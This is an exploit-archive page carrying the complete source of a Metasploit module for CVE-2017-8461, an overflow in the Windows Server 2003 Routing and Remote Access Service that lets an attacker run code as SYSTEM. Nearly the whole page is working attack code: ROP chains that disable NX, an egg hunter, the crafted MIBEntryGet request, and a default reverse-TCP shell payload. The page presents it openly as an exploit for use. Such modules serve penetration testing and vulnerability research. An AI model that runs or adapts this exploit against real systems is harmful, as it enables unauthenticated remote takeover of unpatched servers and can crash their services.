exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows RRAS Service MIBEntryGet Overflow

Microsoft Windows RRAS Service MIBEntryGet Overflow
Posted Mar 5, 2021
Authored by Brendan Coles, Shadow Brokers, Equation Group, Victor Portal | Site metasploit.com

This Metasploit module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM. The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well.

tags | exploit, remote, overflow
systems | windows
advisories | CVE-2017-8461
SHA-256 | 0ae2b9ea7eebb2360a416f9ca767c77a6dbd884480e2109006104ebb2c2a7cb2

Microsoft Windows RRAS Service MIBEntryGet Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
'Description' => %q{
This module exploits an overflow in the Windows Routing and Remote
Access Service (RRAS) to execute code as SYSTEM.

The RRAS DCERPC endpoint is accessible to unauthenticated users via
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
however, this module targets Windows Server 2003 only.

Since the service is hosted inside svchost.exe, a failed exploit
attempt can cause other system services to fail as well.

The module has been successfully tested on:

Windows Server 2003 SP0 (x86);
Windows Server 2003 SP1 (x86);
Windows Server 2003 SP2 (x86); and
Windows Server 2003 R2 SP2 (x86).
},
'Author' =>
[
'Equation Group', # ERRATICGOPHER
'Shadow Brokers', # Equation Group dump
'VĂ­ctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
'bcoles', # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8461'],
['CWE', '119'],
['BID', '99012'],
['EDB', '41929'],
['PACKETSTORM', '147593'],
['URL', 'https://www.securitytracker.com/id/1038701'],
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1065,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[
'Windows Server 2003 SP0 (English)',
{
'os' => 'Windows 2003',
'sp' => '',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP1 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 1',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP2 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
[
'Windows Server 2003 R2 SP2 (English) (NX)',
{
'os' => 'Windows 2003 R2',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
],
'Notes' =>
{
'AKA' => [ 'ErraticGopher' ],
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2017-06-13'
)
)

register_options([
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
])

deregister_options('SMB::ProtocolVersion')
end

def payload_win2k3sp0
rop = [0x0ffef4c9].pack('V')
# rsaenh.dll:
# 0FFEF4C9 54 PUSH ESP
# 0FFEF4CA 24 04 AND AL,4
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
# 0FFEF4D4 3BD1 CMP EDX,ECX
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
# 0FFEF4D8 F7F1 DIV ECX
# 0FFEF4DA C2 0C00 RETN 0C
rop += make_nops(1152 - payload.encoded.length)
rop += payload.encoded
rop
end

def payload_win2k3sp1
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 SP1
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def payload_win2k3sp2
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 [R2] SP2
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
rop += [0x77384271].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def check
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end

return CheckCode::Safe("SMB error: #{e.message}")
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end

CheckCode::Detected('RRAS enabled and accessible.')
end

def exploit
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end
raise e
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
end

print_status("Bound to #{handle} ...")

my_target = target

if target.name == 'Automatic'
print_status('Selecting a target ...')

fingerprint = smb_fingerprint

os = fingerprint['os']
sp = fingerprint['sp']
lang = fingerprint['lang']
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")

if lang == 'Unknown'
lang = 'English'
print_status("Could not detect the language pack, defaulting to #{lang}")
end

my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first

unless my_target
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
end
end

print_status("Using target: #{my_target.name}")

case my_target.name
when 'Windows Server 2003 SP0 (English)'
buf = payload_win2k3sp0
when 'Windows Server 2003 SP1 (English) (NX)'
buf = payload_win2k3sp1
when 'Windows Server 2003 SP2 (English) (NX)'
buf = payload_win2k3sp2
when 'Windows Server 2003 R2 SP2 (English) (NX)'
buf = payload_win2k3sp2 # same as SP2
else
fail_with(Failure::NoTarget, 'Invalid target')
end

mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
mib += buf # rgdwVarIndex[5] dwForwardType # payload
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk

stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
stub += mib # our friendly MIB entry data with payload
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes

print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")

begin
dcerpc.call(0x1d, stub, false)
rescue StandardError => e
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close